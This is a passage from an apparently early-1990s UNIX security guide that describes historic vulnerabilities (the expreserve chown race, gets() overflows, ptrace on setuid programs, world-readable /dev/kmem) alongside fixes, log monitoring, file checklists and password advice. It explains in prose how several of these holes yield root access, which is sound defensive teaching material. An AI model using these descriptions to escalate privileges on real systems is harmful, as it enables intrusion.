|
||
you should contact your local security guru.
|
||
|
||
+ Solution
|
||
Contact your vendor for a fix or do not allow users to lower their ulimit
|
||
value.
|
||
|
||
vi
|
||
--
|
||
|
||
- Problem
|
||
A rather barbaric race condition in `expreserve' that allows the setuid
|
||
program to be compromised by changing the permissions of a file. This bug
|
||
exists in all expreserves up to and including Berkeley 4.3. (well not
|
||
quite). On all System V and earlier releases this works. Under System V
|
||
`expreserve' places the Ex temp file in the directory
|
||
`/usr/preserve/$LOGNAME' and under the Berkeley releases it places them
|
||
under either `/usr/preserve' or `/var/preserve'.
|
||
|
||
This feature will definitely allow security to be breached on all standard
|
||
System Vs and all Berkeley-ish systems that have the `/usr/preserve'
|
||
directory writable by the user (Note: SUNOS has this directory unwritable
|
||
by default).
|
||
|
||
The System V bug was relatively unavoidable (though the addition of the "S"
|
||
bit to directories in SVR3.2 could close the hole) until SVR4 but the
|
||
Berkeley bug should have been fixed as soon as the `fchown()' system call
|
||
was added to BSD. Basically the "hole" is that expreserve does:
|
||
|
||
fd = creat("/usr/preserve/Exaaa$PID, 0600);
|
||
chown("/usr/preserve/Exaaa$PID, real_uid, real_gid);
|
||
|
||
when it should do a:
|
||
|
||
fd = creat("/usr/preserve/Exaaa$PID, 0600);
|
||
fchown(fd, real_uid, real_gid);
|
||
|
||
which avoids the race (it changes the permission on the inode that was
|
||
`creat()''ed and not the inode whose name is `/usr/preserve/Exaaa$PID').
|
||
The previous examples are actually simplified as expreserve actually looks
|
||
at the uid and gid as stored in the `/tmp/Ex$PID' file and compares them to
|
||
the `getuid()' and `getgid()' return values.
|
||
|
||
The actual race is that a context switch may occur between the `creat()'
|
||
and `chown()' in expreserve that allows another process with write
|
||
permission to the target directory to `unlink()' the `creat()''ed file and
|
||
place a hard link to another file by that name in the target directory,
|
||
which expreserve subsequentialies `chown()'s to your uid. This feature
|
||
allows any file on the same device to be `chown()''ed to you. Though you
|
||
may see support for symbolic links, on the version of UNIX that I have
|
||
tested this on, this will only change permissions on the symlink. I find
|
||
this confusing as `ELOOP' is an alleged failure condition for `chown()'
|
||
implying that a symbolic link resolution.
|
||
|
||
* Test
|
||
The procedure for demonstrating this bug is to create a VALID non-zero
|
||
length `/tmp/Ex$PID' file and copy it to the directory where the program is
|
||
located under the name data. To do this edit a junk file, make some
|
||
changes and escape to a shell and check the `/tmp' directory for a non-zero
|
||
length `Ex$PID' file owned by you, copy it to the testing directory and run
|
||
the program that follows. Note: This program needs to be modified to run
|
||
under System V to support `/usr/preserve/$USER/Exaaa$PID' targets, it has
|
||
been tested under SUNOS 4.x and HPUX. For performance reasons, this bug
|
||
works best if you make a hard link to the target file in the directory that
|
||
expreserve places the editor temporary. Less chance sleeping on an inode
|
||
(hence the `chdir()').
|
||
|
||
+ Solution
|
||
Obtain a new version of `expreserve'.
|
||
|
||
yppasswd
|
||
--------
|
||
There have been lots of security problems with Sun's Yellow Pages facility.
|
||
Some of these involve security holes in programs; others involve the way
|
||
defaults are set when the system is shipped, such that any host in the
|
||
world is trusted.
|
||
|
||
Programming Utilities
|
||
=====================
|
||
|
||
TIOCCONS
|
||
--------
|
||
|
||
TIOCCONS is the ioctl used to redirect the output of /dev/console to go to a
|
||
specified pty. This is mostly used on workstations to redirect console
|
||
messages to a particular window. Xterm uses this feature (xterm -C).
|
||
|
||
- Problem
|
||
It appears that the problem is that any users that use this will be able
|
||
to read information from the console. The problem is much worse under
|
||
SunOS 4.1 (and older versions). It allows the process to write on the
|
||
pty simulating data from the console. This can be hazardous if the
|
||
current user on the console is root.
|
||
|
||
+ Solution
|
||
Contact your vendor for the appropriate patch. The SunOS Bug ID is #1008324.
|
||
|
||
|
||
TIOCSTI
|
||
-------
|
||
|
||
- Problem
|
||
The TIOCSTI bug is an old one which has been fixed in 4.3BSD. But,
|
||
it has not been fixed in 4.2BSD and its derivatives. This bug allows an
|
||
ordinary user to access another terminal remotely without touching its
|
||
keyboard if the user has write permission on that terminal.
|
||
|
||
+ Solution
|
||
To really fix this bug, it requires the upgrading of your operating
|
||
system or you have to hack the kernel alone. As a kludge, you
|
||
could modify programs such as `login', `write', `wall',
|
||
etc. to insure that the permissions on terminals are NOT world readable
|
||
at any time. This takes a considerable amount of time and effort.
|
||
|
||
|
||
gets()
|
||
------
|
||
|
||
- Problem
|
||
The `gets()' function fails to check for buffer overflow in its input.
|
||
This allows a carefully constructed string to be sent to `gets()' to
|
||
overwrite the buffer and alter the stack frame. If done properly to a set
|
||
UID/GID program, it can allow a super user shell to be created.
|
||
|
||
+ Solution
|
||
Use `fgets()' in place of `gets()'.
|
||
|
||
|
||
popen()
|
||
-------
|
||
|
||
- Problem
|
||
As written, `popen()' constructs a pipe between the calling process
|
||
and a command. It utilizes `/bin/sh'; therefore, if it is used
|
||
in set UID/GID programs, it can be fooled in executing dangerous code.
|
||
|
||
+ Solution
|
||
Avoid using `popen()' or carefully construct your programs
|
||
environment to avoid having nasty side effects.
|
||
|
||
|
||
ptrace()
|
||
--------
|
||
|
||
- Problem
|
||
SunOS provides a variant of the 4.3 BSD ptrace() facility which permits a
|
||
process to be traced without prior arrangement if its effective UID matches
|
||
that of the tracing process (or the tracing process has super-user privileges).
|
||
Unfortunately, the effective UID alone does not necessarily describe all of
|
||
the privileges a process is entitled to use.
|
||
|
||
Many set-UID programs desire to utilize the set-UID access permissions for
|
||
only a few operations and wish all others to occur with the privileges of
|
||
the invoking user. As process access permissions are supposed to
|
||
determined by the effective UID and GIDs only, the recommended method [1]
|
||
for a process to temporarily grant itself the privileges and restrictions
|
||
of either its invoker (real UID) or set-UID file owner (effective UID) is
|
||
to swap its real and effective UIDs via setreuid(geteuid(), getuid()) or a
|
||
similar operation. Therefore, prudent programs often execute most of their
|
||
code with their effective UID set to the invoker's UID, and enable their
|
||
set-UID privileges only when necessary to perform particular (apparently
|
||
privileged) operations. Such a process can be be manipulated with ptrace()
|
||
if one can arrange to have ptrace(PTRACE_ATTACH) applied to it while it is
|
||
running with its effective UID set to the invoker's effective UID, at which
|
||
point it can be forced to execute code specified by the tracing process,
|
||
including code which sets its effective UID back to that of the set-UID
|
||
file owner.
|
||
|
||
A similar (but more direct) mechanism can be used to obtain the privileges
|
||
of set-GID programs. As ptrace(PTRACE_ATTACH) ignores GIDs completely, it
|
||
can be applied to virtually any set-GID program, provided that it is not
|
||
also set-UID. The process can then be manipulated in a way similar to the
|
||
set-UID programs mentioned above.
|
||
|
||
+ Solution
|
||
This requires a fix to the kernel. It has been fixed in SunOS 4.1.1.
|
||
|
||
|
||
setpgrp()
|
||
---------
|
||
|
||
- Problem
|
||
There is a bug in 4.2BSD which allows you to set your process group and
|
||
your terminal process group to any value you like. This results in a
|
||
nasty security feature. You can send a signal to any process group
|
||
which in turn can send the signal to any process. This allows a user to
|
||
stop your favorite security daemon, bother `init' (bring the system
|
||
down to single user?), and so on...
|
||
|
||
+ Solution
|
||
The fix for this bug requires modification to the system's kernel. For
|
||
best results, contact your vendor for an upgrade.
|
||
|
||
|
||
system()
|
||
--------
|
||
|
||
- Problem
|
||
The `system()' call, like `popen()', invokes a Bourne Shell.
|
||
|
||
+ Solution
|
||
Don't use the `system()' call, especially in a set UID program.
|
||
|
||
|
||
Encryption
|
||
==========
|
||
|
||
- Problem
|
||
There are several utilities available to encrypt on-line files to make
|
||
them unreadable.
|
||
|
||
+ Solution
|
||
These programs are normally based on single rotor enigma encryption
|
||
engines. Schemes such as this are inherently insecure and should not be
|
||
used if you really expect the data to be safe. There is even a set
|
||
of tools publically available to decrypt files that have been
|
||
encrypted with `crypt(1)'.
|
||
|
||
|
||
Crypt Breakers' Workbench
|
||
-------------------------
|
||
|
||
Crypt Breakers' Workbench --- By Robert W. Baldwin <mit-eddie!baldwin>
|
||
|
||
The Crypt Breakers' Workbench (CBW) is an interactive multi-window system
|
||
for mounting a cipher-text only attack on a file encrypted by the Unix
|
||
crypt command. CBW is a workbench in the sense that it provides the user
|
||
with an integrated set of tools that simplify the initial, middle and final
|
||
portions of the decryption process. A user interacts with the workbench by
|
||
choosing tools and setting parameters. CBW carries out the work and
|
||
displays the results. A moderately experienced user of CBW can easily
|
||
decrypt both long and short messages when bigram statistics are known for
|
||
the message space. The basic cryptanalytic techniques used by CBW are
|
||
described in a paper by Reeds and Weinberger that appeared in the October
|
||
1984 issue of the ATT Bell Laboratories Technical Journal.
|
||
|
||
|
||
Devices
|
||
=======
|
||
The security of devices is an important issue in UNIX. Device files are
|
||
used by the various programs to access the data on the disk drives or in
|
||
memory. If these device files are not properly protected, your system is
|
||
vulnerable to attack.
|
||
|
||
|
||
Memory
|
||
------
|
||
|
||
- Problem
|
||
Files such as `/dev/mem', `/dev/kmem', and `/dev/drum' should never be
|
||
world readable and most certainly not world writable. This results in the
|
||
user being able to read structures within the kernel called clists. Clists
|
||
contain a lot of interesting information. One of the pieces of data that
|
||
an intruder might like to see is all of the keystrokes a user is typing.
|
||
This works out well if the user is changing his password or `su'-ing to
|
||
root. A writable memory would allow a user to patch his UID in the kernel
|
||
and gain super user access immediately.
|
||
|
||
* Test
|
||
|
||
Under SunOS 3.5
|
||
|
||
ls -l /dev/*mem /dev/drum
|
||
crw-r--r-- 1 root wheel 7, 0 Jul 19 1989 /dev/drum
|
||
crw-r--r-- 1 root wheel 3, 1 Jul 19 1989 /dev/kmem
|
||
crw------- 1 root wheel 3, 3 Jul 19 1989 /dev/mbmem
|
||
crw-r--r-- 1 root wheel 3, 0 Jul 19 1989 /dev/mem
|
||
|
||
+ Solution
|
||
If the system supports the group kmem and utilities such as `ps' and `top'
|
||
can be set GID to group kmem, this should be done and the devices should be
|
||
set to 640. If there is no notion of group kmem or an equivalent and
|
||
programs such as `ps' are set UID to root, the devices should be owned by
|
||
root and set to the mode 600.
|
||
|
||
|
||
Disks
|
||
-----
|
||
|
||
- Problem
|
||
The disk devices, such as /dev/xy0c are readable by the world or
|
||
writable by the world.
|
||
|
||
* Test
|
||
This is how things "should" look
|
||
|
||
brw------- 1 root operator 3, 0 Dec 11 12:28 /dev/xy0a
|
||
brw------- 1 root operator 3, 1 Jul 19 1989 /dev/xy0b
|
||
brw------- 1 root operator 3, 2 Jul 19 1989 /dev/xy0c
|
||
brw------- 1 root operator 3, 3 Jul 19 1989 /dev/xy0d
|
||
brw------- 1 root operator 3, 4 Jul 19 1989 /dev/xy0e
|
||
brw------- 1 root operator 3, 5 Jul 19 1989 /dev/xy0f
|
||
brw------- 1 root operator 3, 6 Jul 19 1989 /dev/xy0g
|
||
brw------- 1 root operator 3, 7 Jul 19 1989 /dev/xy0h
|
||
|
||
+ Solution
|
||
Investigate any possible reason why the permissions were munged and
|
||
change them to an exceptable mode immediately.
|
||
|
||
= Discussion
|
||
With very few exceptions, all devices should be owned by "root". One
|
||
exception is the terminal. These will be owned, after login, by the user
|
||
currently connected to that device. When the user logs off of that device,
|
||
it should be changed back to it's original state. Terminal port
|
||
permissions need to be watched closely.
|
||
|
||
|
||
Monitoring Your System
|
||
**********************
|
||
|
||
"STOP! Or we shall be forced to severely pummel you about the head"
|
||
-- Batman
|
||
|
||
In order to maintain a reasonable level of security, the system
|
||
administrator needs to monitor his system. This involves constantly
|
||
checking for security holes, security violations, and examining log files.
|
||
Much of this can be automated, but human intervention is normally required
|
||
to a certain degree. Monitoring programs should be used to set off bells
|
||
and whistles to the system administrator, not to manage the security.
|
||
|
||
|
||
Network Monitoring
|
||
==================
|
||
Keeping up with network security is extremely difficult. There are an
|
||
infinite number of ways to enter your system and its tough to know which
|
||
doors to watch, which ones to lock, and which ones can be left open.
|
||
Despite the difficulty, there are some basic tools that can be used to
|
||
help.
|
||
|
||
|
||
syslog
|
||
------
|
||
The `syslog' facility is a mechanism that enables any command to log error
|
||
messages and informational messages to the system console, as well as to a
|
||
log file. Typically, error messages are logged in the file
|
||
`/usr/spool/log/syslog' along with the date, time, and name of the program
|
||
sending the message of the program. A sample segment of the `syslog' file
|
||
is shown below.
|
||
|
||
Dec 24 12:10:06 ws1 nntpxmit: Greet=502 samt19 NNTP server can't talk to you.
|
||
Dec 24 12:25:04 ws1 nntpd: rnews: inews: comp.foo: No valid newsgroups found.
|
||
Dec 24 14:53:37 ws1 login: ROOT LOGIN ttyp3 FROM ws2.podunk.edu
|
||
Dec 24 15:18:08 ws1 login: ROOT LOGIN ttyp3 FROM ws2.podunk.edu
|
||
Dec 24 16:52:20 ws1 vmunix: sd2c: read failed, no retries
|
||
Dec 25 06:01:18 ws1 vmunix: /: file system full
|
||
Dec 25 08:02:03 ws1 login: ROOT LOGIN ttyp4 FROM wizard.hack.com
|
||
Dec 25 08:28:52 ws1 su: joeuser on /dev/ttyp3
|
||
Dec 25 08:38:03 ws1 login: ROOT LOGIN ttyp4 FROM triceratops.itst
|
||
Dec 25 10:56:54 ws1 automount[154]: host fserv not responding
|
||
Dec 25 11:30:42 ws1 login: REPEATED LOGIN FAILURES ON ttyp3 FROM
|
||
sys1.podunk.edu, daemon
|
||
Dec 25 13:17:16 ws1 nntpxmit: Greet=502 samt19 NNTP server can't talk to you.
|
||
|
||
Of particular interest in this sample are the messages from the `login' and
|
||
`su' programs. Whenever someone logs in as "root," `login' logs this
|
||
information. Generally, logging in as "root" directly, rather than using
|
||
the `su' command, should be discouraged, as it is hard to track which
|
||
person is actually using the account. `Login' also logs any case of
|
||
someone repeatedly trying to log in to an account and failing. After three
|
||
attempts, `login' will refuse to let the person try anymore. Searching for
|
||
these messages in the `syslog' file can alert you to a cracker attempting
|
||
to guess someone's password. Finally, when someone uses the `su' command,
|
||
either to become "root" or someone else, `su' logs the success or failure
|
||
of this operation. These messages can be used to check for users sharing
|
||
their passwords, as well as for a cracker who has penetrated one account
|
||
and is trying to penetrate others [Curr90].
|
||
|
||
|
||
showmount
|
||
---------
|
||
The `showmount' command can be used on an NFS file server to display the
|
||
names of all hosts that currently have something mounted from the server.
|
||
With no options, the program simply displays a list of all the hosts. With
|
||
the `-a' and `-d' options, the output is somewhat more useful. The first
|
||
option, `-a', causes `showmount' to list all the host and directory
|
||
combinations. For example:
|
||
|
||
ws1.cs.podunk.edu:/usr/share
|
||
ws1.cs.podunk.edu:/usr/local
|
||
ws1.cs.podunk.edu:/var/spool/mail
|
||
ws2.cs.podunk.edu:/usr/share
|
||
ws2.cs.podunk.edu:/usr/local
|
||
ws2.cs.podunk.edu:/var/spool/mail
|
||
bart.podunk.edu:/usr/local
|
||
maggie.pudunk.edu:/usr/local
|
||
|
||
There will be one line of output for each directory mounted by a host.
|
||
With the `-d' option, `showmount' displays a list of all directories that
|
||
are presently mounted by some host.
|
||
|
||
The output from `showmount' should be checked for two things.
|
||
First, only machines local to your organization should appear there.
|
||
Second, only "normal" directories should be mounted. If you find
|
||
unusual directories being mounted, you should find out who is mounting
|
||
them and why -- although it is probably innocent, it may indicate
|
||
someone trying to get around your security mechanisms [Curr90].
|
||
|
||
|
||
FTP Logging
|
||
-----------
|
||
Some versions of `ftp' allow administrators to turn on and off logging
|
||
information. The standard BSD4.2 `ftp' does not do it, but there are
|
||
publically available patches to the code to enable this feature. It is
|
||
highly recommended. A sample log file might look like:
|
||
|
||
@ws5.cs.podunk.edu (bsimpson) Wed May 30 19:32:11 1990
|
||
get /pub/gnu/gcc-1.37.tar.Z
|
||
@131.170.8.11 (intruder) Wed May 30 22:13:01 1990
|
||
get /etc/passwd
|
||
put /pub/annoying-msg
|
||
joeuser@podunk.edu Wed Jun 6 08:19:16 1990
|
||
get /pub/sun-source/faces-1.3.tar.Z
|
||
get /pub/gnu/emacs-18.55.tar.Z
|
||
|
||
In the case where lines begin with an `@', an anonymous `ftp' was
|
||
preformed. Traditionally, when using anonymous `ftp' is being done, the
|
||
user supplies his login name as the password. It is done as common
|
||
courtesy for system administrators so they can evaluate the usage of the
|
||
anonymous `ftp' facility. The password is given within parenthesis after
|
||
the hostname.
|
||
|
||
In the case where lines start with a user name, a normal user logged in to
|
||
transfer files. This allows managers to know who is transferring files
|
||
and what files they are transferring.
|
||
|
||
|
||
Account Monitoring
|
||
==================
|
||
Account security should be monitored periodically in order to check for
|
||
two things:
|
||
|
||
* Users logged in when they shouldn't be (i.e., late at night, when
|
||
they're on vacation, etc.)
|
||
* Users executing commands they wouldn't normally be expected to use.
|
||
|
||
|
||
last
|
||
----
|
||
`Last' looks back in the `wtmp' file which records all logins and logouts
|
||
for information about a user, a teletype or any group of users and
|
||
teletypes. Arguments specify names of users or teletypes of interest.
|
||
Names of teletypes may be given fully or abbreviated. For example `last 0'
|
||
is the same as `last tty0'. If multiple arguments are given, the
|
||
information which applies to any of the arguments is printed. For example
|
||
`last root console' would list all of "root's" sessions as well as all
|
||
sessions on the console terminal. `Last' displays the sessions of the
|
||
specified users and teletypes, most recent first, indicating the times at
|
||
which the session began, the duration of the session, and the teletype
|
||
which the session took place on. If the session is still continuing or was
|
||
cut short by a reboot, `last' so indicates. `last' with no arguments
|
||
displays a record of all logins and logouts, in reverse order. Here is an
|
||
example:
|
||
|
||
$ last -5 joeuser
|
||
joeuser ttyp1 ws1.cs.podunk.e Wed Jun 6 10:04 still logged in
|
||
joeuser ttyp1 ws1.cs.podunk.e Wed Jun 6 10:03 - 10:04 (00:01)
|
||
joeuser ttyp3 bart.podunk.edu Tue Jun 5 15:01 - 15:01 (00:00)
|
||
joeuser ttyp0 maggie.podunk.e Tue Jun 5 10:05 - 19:44 (09:38)
|
||
joeuser console ws2.cs.podunk.e Tue Jun 5 09:49 - 10:05 (00:16)
|
||
|
||
|
||
lastcomm
|
||
--------
|
||
`Lastcomm' gives information on previously executed commands. `Lastcomm'
|
||
with no arguments displays information about all the commands recorded
|
||
during the current accounting file's lifetime. If called with arguments,
|
||
`lastcomm' only displays accounting entries with a matching command name,
|
||
user name, or terminal name. For example:
|
||
|
||
$ lastcomm
|
||
who simpsonb ttyp0 0 secs Wed Jun 6 10:03
|
||
mesg joeuser ttyp1 0 secs Wed Jun 6 10:03
|
||
biff joeuser ttyp1 0 secs Wed Jun 6 10:03
|
||
csh F joeuser ttyp1 0 secs Wed Jun 6 10:03
|
||
...
|
||
|
||
For each process entry, lastcomm displays the following items of
|
||
information:
|
||
|
||
* The command name under which the process was called.
|
||
* One or more flags indicating special information about
|
||
the process. The flags have the following meanings:
|
||
|
||
* F The process performed a fork but not an exec.
|
||
* S The process ran as a set-user-id program.
|
||
* D The process dumped memory.
|
||
* X The process was killed by some signal.
|
||
|
||
* The name of the user who ran the process.
|
||
* The terminal which the user was logged in on at the time (if applicable).
|
||
* The amount of CPU time used by the process (in seconds).
|
||
* The date and time the process exited.
|
||
|
||
|
||
File System Monitoring
|
||
======================
|
||
Checking for security holes in the file system is another important part of
|
||
making your system secure. Primarily, you need to check for files that can
|
||
be modified by unauthorized users, files that can inadvertently grant users
|
||
too many permissions, and files that can inadvertently grant access to
|
||
crackers. It is also important to be able to detect unauthorized
|
||
modifications to the file system, and to recover from these modifications
|
||
when they are made [Curr90].
|
||
|
||
|
||
find
|
||
----
|
||
`Find' recursively descends the directory hierarchy for each pathname in a
|
||
pathname-list, seeking files that match a boolean (logical) expression.
|
||
Some of the more useful expressions that can be used are:
|
||
|
||
-name filename
|
||
True if the filename argument matches the current file name. Shell
|
||
argument syntax can be used if escaped (watch out for [, ? and *).
|
||
|
||
-perm -onum
|
||
True if the file permission flags exactly match the octal number onum
|
||
(see `chmod'). If onum is prefixed by a minus sign, more flag bits
|
||
(017777, see `chmod') become significant and the flags are
|
||
compared: (flags&onum) == onum.
|
||
|
||
-nouser
|
||
True if the file belongs to a user not in `/etc/passwd'.
|
||
|
||
-nogroup
|
||
True if the file belongs to a group not in `/etc/group'.
|
||
|
||
-exec command'
|
||
True if the executed command returns a zero value as exit status. The
|
||
end of command must be punctuated by an escaped semicolon. A command
|
||
argument {} is replaced by the current pathname.
|
||
|
||
As an example, here is how you would get a list of all the set UID root
|
||
files on your system.
|
||
|
||
$ find / -perm -4000 -print
|
||
/bin/df This by far not a complete list, it is here
|
||
/bin/passwd just to show you what might pop up.
|
||
/bin/login
|
||
/bin/su
|
||
/usr/bin/at
|
||
/usr/bin/tip
|
||
/usr/bin/cu
|
||
/usr/bin/uucp
|
||
/usr/etc/ping
|
||
/usr/lib/sendmail
|
||
/usr/lib/ex3.7preserve
|
||
/usr/ucb/rsh
|
||
/usr/ucb/rlogin
|
||
...
|
||
|
||
|
||
Checklists
|
||
----------
|
||
Checklists can be a useful tool for discovering unauthorized changes made
|
||
to system directories. They aren't practical on file systems that contain
|
||
users' home directories since these change all the time. A checklist is a
|
||
listing of all the files contained in a group of directories: their sizes,
|
||
owners, modification dates, and so on. Periodically, this information is
|
||
collected and compared with the information in the master checklist. Files
|
||
that do not match in all attributes can be suspected of having been
|
||
changed.
|
||
|
||
There are several utilities that implement checklists available from public
|
||
software sites; however, a simple utility can be constructed using only the
|
||
standard UNIX `ls' and `diff' commands.
|
||
|
||
First, use the `ls' command to generate a master list. This is best done
|
||
immediately after installing the operating system, but can be done at any
|
||
time provided you're confident about the correctness of the files on the
|
||
disk. A sample command is shown below.
|
||
|
||
$ ls -aslgR /bin /etc /usr > MasterChecklist
|
||
|
||
The file MasterChecklist now contains a complete list of all the files in
|
||
these directories. You will probably want to edit it and delete the lines
|
||
for files you know will be changing often (e.g., `/etc/utmp',
|
||
`/usr/adm/acct' ). The MasterChecklist file should be stored somewhere
|
||
safe where a cracker is unlikely to find it (since he could otherwise just
|
||
change the data in it): either on a different computer system, or on
|
||
magnetic tape.
|
||
|
||
To search for changes in the file system, run the above `ls' command again,
|
||
saving the output in some other file, say CurrentList. Now use the `diff'
|
||
command to compare the two files:
|
||
|
||
$ diff MasterChecklist CurrentList
|
||
|
||
Lines that are only in the master checklist will be printed preceded by a
|
||
"<," and lines that are only in the current list will be preceded by a ">."
|
||
If there is one line for a file, preceded by a "<," this means that the
|
||
file has been deleted since the master checklist was created. If there is
|
||
one line for a file, preceded by a ">," this means that the file has been
|
||
created since the master checklist was created. If there are two lines for
|
||
a single file, one preceded by "<" and the other by ">," this indicates
|
||
that some attribute of the file has changed since the master checklist was
|
||
created.
|
||
|
||
By carefully constructing the master checklist, and by remembering to
|
||
update it periodically (you can replace it with a copy of CurrentList, once
|
||
you're sure the differences between the lists are harmless), you can easily
|
||
monitor your system for unauthorized changes. The software packages
|
||
available from the public software distribution sites implement basically
|
||
the same scheme as the one here, but offer many more options for
|
||
controlling what is examined and reported.
|
||
|
||
|
||
Backups
|
||
-------
|
||
It is impossible to overemphasize the need for a good backup strategy.
|
||
File system backups not only protect you in the event of hardware failure
|
||
or accidental deletions, but they also protect you against unauthorized
|
||
file system changes made by a cracker. A good backup strategy will dump
|
||
the entire system at level zero (a "full" dump) at least once a week.
|
||
Partial (or "incremental") dumps should be done daily.
|
||
|
||
|
||
Know Your System
|
||
================
|
||
Aside from running large monitoring programs such as those described in the
|
||
previous sections, simple everyday UNIX commands can also be useful for
|
||
spotting security violations. By running these commands often, whenever
|
||
you have a free minute (for example, while waiting for someone to answer
|
||
the phone), you will become used to seeing a specific pattern of output.
|
||
By being familiar with the processes normally running on your system, the
|
||
times different users typically log in, and so on, you can easily detect
|
||
when something is out of the ordinary.
|
||
|
||
|
||
ls
|
||
--
|
||
To really know how your system is set up, you need to know what files
|
||
should or shouldn't be on your disks. Doing an `ls' periodically, will
|
||
give you a better feel for what is out there. It may also show you
|
||
suspicious files left by earlier intruders, faulty programs, or the former
|
||
keepers of your machine. Be sure to use the `-a' option to catch the
|
||
infamous `...' directory. (Of course, remember that `.' and `..' are
|
||
supposed to be there.)
|
||
|
||
|
||
ps and top
|
||
----------
|
||
`Ps' displays information about processes. Normally, only those processes
|
||
that are started by you and are attached to a controlling terminal are
|
||
shown. Additional categories of processes can be added to the display
|
||
using various options. In particular, the `a' option allows you to include
|
||
processes that are not owned by you (that do not have your user ID), and
|
||
the `x' option allows you to include processes without control terminals.
|
||
|
||
`Top' displays the top 15 processes on the system and periodically updates
|
||
this information. Raw cpu percentage is used to rank the processes. If
|
||
number is given, then the top number processes will be displayed instead of
|
||
the default. This allows you to monitor your system for a certain period
|
||
of time and see what process are using the CPU heavily and which ones
|
||
aren't. On Convex systems, there is an equivalent program called 'syspic'.
|
||
|
||
|
||
who and finger
|
||
--------------
|
||
The `who' command displays the list of user currently logged in on the
|
||
system. By running this periodically, you can learn at what times during
|
||
the day different users log in. For long `who' listings, you can use the
|
||
`users' command instead.
|
||
|
||
If you would like more information about the users logged in, use the
|
||
`finger' command. It's output is like:
|
||
|
||
$ finger
|
||
Login Name TTY Idle When Where
|
||
joeuser Joe E. User *p0 Wed 12:01 ws1.cs.podunk.edu
|
||
simpsonb Bart Simpson p4 Wed 15:33 ch5.fox.tv.com
|
||
|
||
|
||
Improving Your Security
|
||
***********************
|
||
|
||
"It will only take a minute."
|
||
-- A UNIX Programmer
|
||
|
||
Even after closing the numerous well-known security holes throughout your
|
||
system, security must remain that the forefront. You need to gather and
|
||
write tools to maintain your security level. These tools can be in the
|
||
form of policies to enforce, monitoring software, and learning where to go
|
||
for help. The thought of continuously improving the overall security must
|
||
remain resident.
|
||
|
||
|
||
Policies
|
||
========
|
||
Policies are very important on computer systems. They dictate how a user
|
||
is supposed to act while using your resources. Although in some
|
||
environments it is difficult enough to set a policy, it is much more of a
|
||
problem to enforce.
|
||
|
||
Password Policies
|
||
-----------------
|
||
There are several guidelines one should follow when selecting a
|
||
password. Here are some DO's and DON'T's:
|
||
|
||
+ DO use a password with mixed-case alphabetics.
|
||
|
||
+ DO use a password with NON-alphabetic characters, e.g., numbers
|
||
and/or punctuation.
|
||
|
||
+ DO use a password that contains AT LEAST six characters.
|
||
|
||
- DON'T use your login name in any form (as is, reversed, capitalized,
|
||
doubled, followed by a digit, etc.) to construct your password.
|
||
|
||
- DON'T use your first, middle, or last name in any form.
|
||
|
||
- DON'T use the name of a spouse, child, girlfriend, etc.
|
||
|
||
- DON'T use other information easily obtained. This includes your
|
||
license plate numbers, telephone numbers, social security number, the
|
||
brand of your automobile, street name, etc.
|
||
|
||
- DON'T use a password of all numbers, or all the same letter (e.g.,
|
||
123456, 999999, AAAAAA). This significantly decreases the search time
|
||
for a hacker.
|
||
|
||
- DON'T use a word contained in (English or foreign) dictionaries,
|
||
spelling lists, or other lists of words.
|
||
|
||
Now here are some suggestions on how to choose a good password:
|
||
|
||
* Choose a line or two from a song, poem, or phrase and use the first
|
||
character of each word. For example:
|
||
|
||
Don't have a cow man! -- Bart Simpson
|
||
becomes: Dhacm!BS
|
||
|
||
* Alternate between one consonant and one or two vowels, up to eight
|
||
characters. This provides nonsense words that are usually
|
||
pronounceable, and thus easily remembered. Examples include:
|
||
|
||
routboo, quadpop, and so on.
|
||
|
||
* Chose two short words or acronyms and concatenate them together with a
|
||
punctuation character between them. For example:
|
||
|
||
dog;rain, book+mug, DoD$shoe
|
||
|
||
* Some miscellaneous examples:
|
||
|
||
[IIsir] A catchy phrase within brackets
|
||
u7sCaGf 7CG inside usaf
|
||
-=>99<=- Something simple for hockey fans
|
||
100%=A+ A password you "grad" students can remember
|
||
!!URdead A little something for those on the "front"
|
||
|
||
Also remember that the "unprintable characters" can be used as part of your
|
||
password. These keys include the ESCape key and characters made up by
|
||
holding down the control (Ctrl) key and pressing an alphabetic character.
|
||
Be sure NOT to use keys that might have special meaning to your terminal
|
||
package. These include:
|
||
|
||
* <Ctrl> s
|
||
* <Ctrl> h
|
||
* <Ctrl> |
|
||
* #
|
||
* @
|
||
|
||
|
||
Software Policies
|
||
-----------------
|
||
Software can be categorized in many ways. It can be referred to as:
|
||
|
||
1. Proprietary
|
||
2. Locally written
|
||
3. Public Domain
|
||
4. GNU
|
||
5. Shareware
|
||
|
||
Each of these categories are different when it comes to licensing
|
||
agreements, but when it comes right down it, a system manager has only two
|
||
types of software: supported and unsupported.
|
||
|
||
Supported software is easy to deal with. When there is a bug, you contact
|
||
the person or companies that supports that piece of software and work with
|
||
them to get adequate corrections. Support can be given via a local
|
||
department, a vendor, or a third party.
|
||
|
||
Unsupported software is software that your organization does not officially
|
||
support, but they do recognize that it is on the system and is being used
|
||
by the user community. This software should be installed under a seperate
|
||
directory than the locally written software, but will follow the same
|
||
directory structure. There should be NO WARRANTY as to the effectiveness
|
||
or usefulness of these programs. It should be assumed that they are
|
||
reasonably secure. This does NOT infer that they have been thouroughly
|
||
checked for possible security holes, but that they have been lightly
|
||
checked over and appear safe for general use. There are a lot of useful
|
||
and productive software packages that should not be thrown away because
|
||
your local support and vendors do not provide them. Some the best software
|
||
available is free. For example:
|
||
|
||
GNU Emacs
|
||
An extensible self-documenting text editor
|
||
|
||
GCC
|
||
GNU's highly rated C compiler
|
||
|
||
University Ingres
|
||
A scaled version of the Ingres Relational database
|
||
|
||
X-Windows
|
||
A windowing system written at M.I.T.
|
||
|
||
RCS
|
||
Revison Control System
|
||
|
||
|
||
Countermeasures
|
||
===============
|
||
Below are some thoughts on how to counter security problems. They may
|
||
not all be useful, but they can provoke thought on how to handle local
|
||
concerns.
|
||
|
||
1. Periodically search the inode tables on all file systems for setuid
|
||
programs owned by root and executable by ordinary users. Compare
|
||
results with a list of known legitimate programs of this kind. This is
|
||
complicated by the existence of groups and setgid, requiring further
|
||
logic to detect all dangerous cases. Also search inodes to look for
|
||
special files outside the `/dev' directory. Restrict root logins
|
||
and `su'-ing to the super-user account(s) to a very restricted
|
||
group of terminals; e.g. thoses inside the computer room. This could be
|
||
done under control of the `/etc/ttys' file, but it is safer if it
|
||
is written right into the code. Modify the `su' program so the
|
||
user has to invoke it as `/bin/su', to foil alternate `su'
|
||
programs hidden in other places that are actually password grabbers.
|
||
This could also be done with the `do' command.
|
||
|
||
2. Keep a log of every `login' or `su' to the root account. Best
|
||
